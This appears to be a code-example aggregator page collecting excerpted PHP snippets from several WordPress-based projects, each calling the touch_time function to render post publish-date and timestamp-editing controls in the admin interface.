        $date = date_i18n($datef, strtotime(current_time('mysql')));
    }
    if ($can_publish) {
        // Contributors don't get to choose the date of publish
        ?>
		<div class="misc-pub-section curtime misc-pub-section-last">
			<span id="timestamp">
			<?php 
        printf($stamp, $date);
        ?>
</span>
			<a href="#edit_timestamp" class="edit-timestamp hide-if-no-js" tabindex='4'><?php 
        _ex('Edit', 'Publishing box edit post date text', 'anno');
        ?>
</a>
			<div id="timestampdiv" class="hide-if-js"><?php 
        touch_time(true, 1, 4);
        ?>
</div>
		</div><?php 
        // /misc-pub-section
        ?>
		<?php 
    }
    ?>

	<?php 
    do_action('post_submitbox_misc_actions');
    ?>

</div>
<?php 
}
开发者ID:dregula,项目名称:Annotum,代码行数:101,代码来源:publishing-meta-box.php


示例15: _e

</span>
				<a href="#edit_timestamp" class="edit-timestamp hide-if-no-js"><span aria-hidden="true"><?php 
    _e('Edit');
    ?>
</span>
					<span class="screen-reader-text"><?php 
    _e('Edit date and time');
    ?>
</span></a>
				<fieldset id="timestampdiv" class="hide-if-js">
					<legend class="screen-reader-text"><?php 
    _e('Date and time');
    ?>
</legend>
					<?php 
    touch_time($action === 'edit', 1);
    ?>
				</fieldset>
				</div><?php 
    // /misc-pub-section
    ?>
			<?php 
}
?>
		</div>
		<div id="major-publishing-actions">
			<div id="delete-action">
				<?php 
if (current_user_can("delete_post", $post->ID)) {
    if (!EMPTY_TRASH_DAYS) {
        $delete_text = __('Delete Permanently');
开发者ID:hernanimattos,项目名称:LearnPress,代码行数:31,代码来源:actions.php


示例16: __

		$stamp = __('Publish immediately');
	} else { // draft, 1 or more saves, date specified
		$stamp = __('Publish on:<br />%1$s at %2$s');
	}
	$date = mysql2date(get_option('date_format'), $post->post_date);
	$time = mysql2date(get_option('time_format'), $post->post_date);
} else { // draft (no saves, and thus no date specified)
	$stamp = __('Publish immediately');
	$date = mysql2date(get_option('date_format'), current_time('mysql'));
	$time = mysql2date(get_option('time_format'), current_time('mysql'));
}
?>
<p class="curtime"><?php printf($stamp, $date, $time); ?>
&nbsp;<a href="#edit_timestamp" class="edit-timestamp hide-if-no-js" tabindex='4'><?php _e('Edit') ?></a></p>

<div id='timestampdiv' class='hide-if-js'><?php touch_time(($action == 'edit'),1,4); ?></div>

</div>

<p class="submit">
<input type="submit" name="save" class="button button-highlighted" value="<?php _e('Save'); ?>" tabindex="4" />
<?php
if ( !in_array( $post->post_status, array('publish', 'future') ) || 0 == $post_ID ) {
?>
<?php if ( current_user_can('publish_pages') ) : ?>
	<input name="publish" type="submit" class="button" id="publish" tabindex="5" accesskey="p" value="<?php _e('Publish') ?>" />
<?php else : ?>
	<input name="publish" type="submit" class="button" id="publish" tabindex="5" accesskey="p" value="<?php _e('Submit for Review') ?>" />
<?php endif; ?>
<?php
}
开发者ID:staylor,项目名称:develop.svn.wordpress.org,代码行数:31,代码来源:edit-page-form.php


示例17: getFunctions

 public function getFunctions()
 {
     return array(new Twig_SimpleFunction('checked', function ($values, $type) {
         $values = (object) $values;
         if (is_array($type) && in_array($values->type, $type) || $values->type == $type) {
             return 'checked';
         }
     }), new Twig_SimpleFunction('selected', function ($values, $value) {
         return $values == $value;
     }), new Twig_SimpleFunction('touch_time', function ($action) {
         touch_time($action == 'edit', 1);
     }));
 }
开发者ID:adnasa,项目名称:konzilo-wp,代码行数:13,代码来源:konzilo.php


示例18: meta_section_publish


//.........这里部分代码省略.........
        if (0 != $post->ID) {
            if ('future' == $post->post_status) {
                // scheduled for publishing at a future date
                $stamp = __('Scheduled for: <b>%1$s</b>');
            } else {
                if ('publish' == $post->post_status || 'private' == $post->post_status) {
                    // already published
                    $stamp = __('Published on: <b>%1$s</b>');
                } else {
                    if ('0000-00-00 00:00:00' == $post->post_date_gmt) {
                        // draft, 1 or more saves, no date specified
                        $stamp = __('Publish <b>immediately</b>');
                    } el 

鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
PHP tourl函数代码示例发布时间:2022-05-23
下一篇:
PHP touchValue函数代码示例发布时间:2022-05-23
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap